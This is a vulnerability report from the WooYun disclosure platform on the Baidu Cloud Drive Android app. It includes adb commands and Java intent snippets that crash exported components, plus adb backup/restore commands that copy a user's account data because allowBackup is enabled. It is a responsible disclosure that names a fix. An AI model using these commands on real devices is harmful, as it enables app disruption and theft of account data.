当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101464

漏洞标题:百度云网盘Android客户端存在多处安全缺陷

相关厂商:百度

漏洞作者: Nicky

提交时间:2015-03-16 16:25

修复时间:2015-06-14 17:14

公开时间:2015-06-14 17:14

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-16: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向第三方安全合作伙伴开放
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开

简要描述:

百度云网盘Android客户端存在多处安全缺陷,可导致本地拒绝服务与用户敏感信息泄露。

详细说明:

以下漏洞均无需ROOT
1.多处本地拒绝服务
null intent引起的crash
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.push.PushMessageReceiver
adb shell am broadcast -n com.baidu.netdisk/com.baidu.cyberplayer.dlna.NetworkChangeReceiver
adb shell am start -n com.baidu.netdisk/com.baidu.sumeru.lightapp.activity.LightAppPlayerActivity
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.util.battery.BatteryMonitor
adb shell am start -n com.baidu.netdisk/com.baidu.netdisk.cloudp2p.ui.RichMediaActivity
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.p2pshare.PhoneStateReceiver
adb shell am start -n com.baidu.netdisk/com.baidu.netdisk.pim.smsmms.ui.SmsmmsBackupMain
adb shell am broadcast -n com.baidu.netdisk/com.baidu.netdisk.module.toolbox.AppInfoBroadcatReceiver
getSerializable 异常引起的crash
1.
static class SerializableObject implements Serializable {
static final long serialVersionUID = 42L;
SerializableObject() {
super();
}
}
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.baidu.netdisk", "com.baidu.netdisk.ui.FileManagerFailedListActivity"));
intent.putExtra("test_baiduyun_wooyun", new SerializableObject());
startActivity(intent);
2.
com.baidu.android.pushservice.PushService
command:
static class SerializableObject implements Serializable {
static final long serialVersionUID = 42L;
SerializableObject() {
super();
}
}
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.baidu.netdisk", "com.baidu.android.pushservice.PushService"));
intent.putExtra("test_baiduyun_wooyun", new SerializableObject());
startService(intent);
2.allowbackup漏洞
没有配置allowbackup="false",可导致用户帐户完全被复制
备份应用数据
adb backup -nosystem -noshared -apk -f com.baidu.netdisk.ab com.baidu.netdisk
恢复数据
adb restore com.baidu.netdisk.ab

漏洞证明:

6D67AFE4-E0DD-4B04-B7CD-B128CC439ACF.png

修复方案:

添加异常处理,allowbackup="false"

版权声明:转载请注明来源 Nicky@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-03-16 17:13

厂商回复:

感谢提交 部分风险已经通知产品线修复

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-22 21:56 | 小荷才露尖尖角 ( 实习白帽子 | Rank:91 漏洞数:13 | less is more)

    是不是有provider本地注入?